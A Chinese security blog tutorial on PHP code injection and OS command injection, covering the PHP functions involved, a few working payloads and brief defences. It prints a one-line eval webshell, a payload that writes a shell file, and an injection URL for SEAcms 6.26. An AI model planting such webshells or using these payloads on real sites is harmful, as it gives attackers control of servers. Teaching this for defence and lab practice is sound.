Web渗透07_脚本代码注入和OS命令注入( 恐怖级别 )
1 PHP代码注入
1.1 原理成因
网站对用户的输入过滤出现问题,同时网站的脚本编写用到一些危险函数 eval()
,assert()
。如果被攻击者发现漏洞,直接可能造成攻击者完全控制整个web甚至是服务器。相当于web后门的存在。
如果服务器没有正确的配置,web用户的权限相对较高,那就不可描述天马行空了。
1.2 相关函数
1.2.1 eval()
eval()会将字符串当作 php 代码执行。
<?php @eval($_POST['shell']);?>
用post方法接收变量shell,把变量shell里面的字符串当做php代码来执行。** 变量shell也称为密码,常用蚁剑菜刀等工具进行后门连接。**
所以,只要我们能通过post 方法,以 shell为变量名,值为执行代码就可以直接通过post 来操作对方的网站,菜刀也是通过这样的方法,不过他传入的代码比较复杂。
shell=phpinfo();
shell=${phpinfo();}
1.2.2 assert()
同eval()
一致。
1.2.3 preg_replace()
preg_replace 函数执行一个正则表达式的搜索和替换。
preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
preg_replace("\/[(.*)\]/e", '\\1', $code); 这里的$code会被执行
1.2.4 call_user_func()
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数是用户的函数,从第二个起就是这个函数的参数。
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem
1.2.5 b) 可变函数 动态函数
$a作为一个变量存储可变的函数名称。传来的信息即可成为执行函数。
<?php
$a = 'eval' ;
$a( "phpinfo();") ; == eval("phpinfo();")
?>
1.3 漏洞利用
-
直接获取shell:
<?php @eval($_POST['shell']);?>
-
获取当前文件路径: __FILE__返回当前文件的绝对路径
print(__FILE__)
-
读文件:
file_get_contents()
读取已知路径且具有读写权限的文件。
C:\windows\system32\drivers\etc\hosts # Windows的 host文件地址
-
写文件:
file_put_contents()
写已知路径且具有读写权限的文件
先提交这段代码file_put_contents($_POST[1],$_POST[2])
,再传入参数1=shell.php&2=<?php phpinfo();?>
创建shell.php 并且写入了一句话。
除了获取shell其他都不是那么重要,工具里都已经写好了,直接通过工具一连,什么都有了。
1.4 防御方法
尽量不要用eval等函数。严格的用户过滤。通过配置文件disable_functions
禁止某些函数的使用。
1.5 漏洞实例 SEAcms 6.26
存在 php代码注入漏洞
漏洞点:?searchtype=5&tid=&area=phpinfo()
2 OS命令注入 Command Injection
脚本语言开发网站功能十分迅速,但是,如果我们需要用到一些其他语言编写的程序呢,把结果返回给用户。那就会用系统的一些命令去执行其他语言编写的程序。只要涉及到了这些,那么很可能就会存在用户输入没有过滤而导致命令执行漏洞。
2.1 漏洞危害
几乎你的命令窗口能干什么,这个漏洞就能干什么....
2.2 相关函数
2.2.1 system()
system($str)
可以将字符串作为系统命令执行,并有结果显示。
2.2.2 exec()
exec($str)
函数能将字符串作为 OS命令执行,需要输出结果。
print exec($str);
2.2.3 shell_exec()
shell_exec($str)
函数能将字符串作为 OS命令执行,需要输出结果。
print shell_exec($str);
2.2.4 passthru()
passthru($str)
函数能将字符串作为 OS命令执行,不需要输出结果。
2.2.5 popen()
popen($str)
函数能将字符串作为 OS命令执行,没有结果显示,而是返回一个文件指针,我们可以将结果写入一个文件中,再查看即可。
popen("ipconfig >> 1.txt");
2.2.6 `` 反引号
反引号函数能将字符串作为 OS命令执行。
print ipconfig
;
2.2.3 漏洞利用
基本就是一些 系统命令的利用。这里不再详述。
windows linux mac 各种系统命令。
DVWA
一个本地渗透测试的平台。包含
- CSRF
- Command Injection
- Insecure CAPTO
- WEEK session ID
- File inclusion
- File Upload
- SQL injection
- XSS
- JavaScript
漏洞的测试。
知识点:
windows 或 linux 下:
command1 && command2 先执行 command1,如果为真,再执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
command1 || command2 先执行 command1,如果为假,再执行 command2
命令执行漏洞(| || & && 称为 管道符
大模型时代,文字创作已死。2025年全面停更了,世界不需要知识分享。
如果我的工作对您有帮助,您想回馈一些东西,你可以考虑通过分享这篇文章来支持我。我非常感谢您的支持,真的。谢谢!
作者:Dba_sys (Jarmony)
转载以及引用请注明原文链接:https://www.cnblogs.com/asmurmur/p/15122770.html
本博客所有文章除特别声明外,均采用CC 署名-非商业使用-相同方式共享 许可协议。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了